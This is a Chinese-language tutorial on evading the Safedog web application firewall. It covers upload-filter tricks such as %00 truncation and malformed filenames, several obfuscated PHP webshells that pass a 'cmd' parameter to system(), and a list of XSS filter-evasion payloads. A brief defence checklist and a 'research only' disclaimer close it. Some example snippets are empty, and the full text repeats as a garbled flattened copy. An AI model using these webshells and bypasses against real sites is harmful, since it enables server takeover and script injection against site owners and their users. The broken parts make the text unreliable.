安全狗最新文件上传绕过、Webshell免杀以及XSS绕过的一些小思路
字数 979 2025-08-15 21:32:37

安全狗WAF绕过技术详解:文件上传、Webshell免杀与XSS绕过

0x00 前言

本文详细解析安全狗WAF在文件上传、Webshell检测和XSS防护方面的绕过技术,所有方法仅用于安全测试和研究目的,旨在帮助安全厂商完善产品防护能力。

0x01 文件上传绕过技术

基本绕过方法

  1. 等号符号绕过

    • 在filename参数后添加多个等号(=)
    • 示例:filename=====test.php
  2. 换行符绕过

    • 在文件名中插入换行符
    • 示例:file\nname=test.php
  3. 大小写混合

    • 使用PhP、pHP等变体绕过简单扩展名检测
  4. 空字符截断

    • 使用%00截断技术
    • 示例:filename="test.php%00.jpg"
  5. 双扩展名

    • 使用test.php.jpg等形式

进阶技术

  1. Content-Type篡改

    • application/octet-stream改为image/jpeg
  2. 多部分边界混淆

    • 修改MIME边界定义
  3. HTTP头注入

    • 在文件名字段注入额外HTTP头

0x02 Webshell免杀技术

基本免杀方法

  1. 字符串拼接技术

    <?php
    $a = "s"."y"."s"."t"."e"."m";
    $a($_GET['cmd']);
    ?>
    
  2. 函数动态调用

    <?php
    $func = "system";
    $func("whoami");
    ?>
    

高级免杀技术

  1. 编码转换技术

    • Base64编码:
    <?php
    eval(base64_decode("c3lzdGVtKCJ3aG9hbWkiKTs="));
    ?>
    
  2. 异或运算

    <?php
    $a = ("!"^"@").("("^"[").("("^"[").("!"^"@").("4"^"A").("("^"[");
    $a($_GET['cmd']);
    ?>
    
  3. 数组拆分重组

    <?php
    $parts = array("sy", "st", "em");
    $func = implode("", $parts);
    $func($_GET['cmd']);
    ?>
    
  4. 回调函数

    <?php
    call_user_func_array("system", array("whoami"));
    ?>
    
  5. 反射技术

    <?php
    $reflect = new ReflectionFunction("system");
    $reflect->invoke("whoami");
    ?>
    

0x03 XSS绕过技术

HTML标签绕过

  1. 替代标签

    • <audio src=x onerror=alert(1)>
    • <video src=x onerror=alert(1)>
    • <div onmouseover=alert(1)>
    • <button onclick=alert(1)>Click</button>
  2. 属性混淆

    • ``
    • ``

JavaScript事件绕过

  1. 替代方法

    • confirm(1)
    • prompt(1)
    • print()
  2. 编码混淆

    • HTML实体编码:``
    • Unicode编码:``
  3. 双写绕过

    • ``

特殊技巧

  1. SVG标签

    <svg onload=alert(1)>
    
  2. 伪协议

    <iframe src=javascript:alert(1)>
    
  3. DOM型XSS

    <script>eval(location.hash.substr(1))</script>
    

防御建议

  1. 文件上传防护

    • 白名单文件扩展名验证
    • 文件内容检测
    • 重命名上传文件
  2. Webshell防护

    • 静态代码分析
    • 行为监控
    • 敏感函数调用追踪
  3. XSS防护

    • 严格的输入过滤
    • 输出编码
    • CSP策略实施

以上技术仅用于安全研究,请勿用于非法用途。

安全狗WAF绕过技术详解:文件上传、Webshell免杀与XSS绕过 0x00 前言 本文详细解析安全狗WAF在文件上传、Webshell检测和XSS防护方面的绕过技术,所有方法仅用于安全测试和研究目的,旨在帮助安全厂商完善产品防护能力。 0x01 文件上传绕过技术 基本绕过方法 等号符号绕过 : 在filename参数后添加多个等号(=) 示例: filename=====test.php 换行符绕过 : 在文件名中插入换行符 示例: file\nname=test.php 大小写混合 : 使用PhP、pHP等变体绕过简单扩展名检测 空字符截断 : 使用 %00 截断技术 示例: filename="test.php%00.jpg" 双扩展名 : 使用 test.php.jpg 等形式 进阶技术 Content-Type篡改 : 将 application/octet-stream 改为 image/jpeg 多部分边界混淆 : 修改MIME边界定义 HTTP头注入 : 在文件名字段注入额外HTTP头 0x02 Webshell免杀技术 基本免杀方法 字符串拼接技术 : 函数动态调用 : 高级免杀技术 编码转换技术 : Base64编码: 异或运算 : 数组拆分重组 : 回调函数 : 反射技术 : 0x03 XSS绕过技术 HTML标签绕过 替代标签 : <audio src=x onerror=alert(1)> <video src=x onerror=alert(1)> <div onmouseover=alert(1)> <button onclick=alert(1)>Click</button> 属性混淆 : `` `` JavaScript事件绕过 替代方法 : confirm(1) prompt(1) print() 编码混淆 : HTML实体编码: `` Unicode编码: `` 双写绕过 : `` 特殊技巧 SVG标签 : 伪协议 : DOM型XSS : 防御建议 文件上传防护 : 白名单文件扩展名验证 文件内容检测 重命名上传文件 Webshell防护 : 静态代码分析 行为监控 敏感函数调用追踪 XSS防护 : 严格的输入过滤 输出编码 CSP策略实施 以上技术仅用于安全研究,请勿用于非法用途。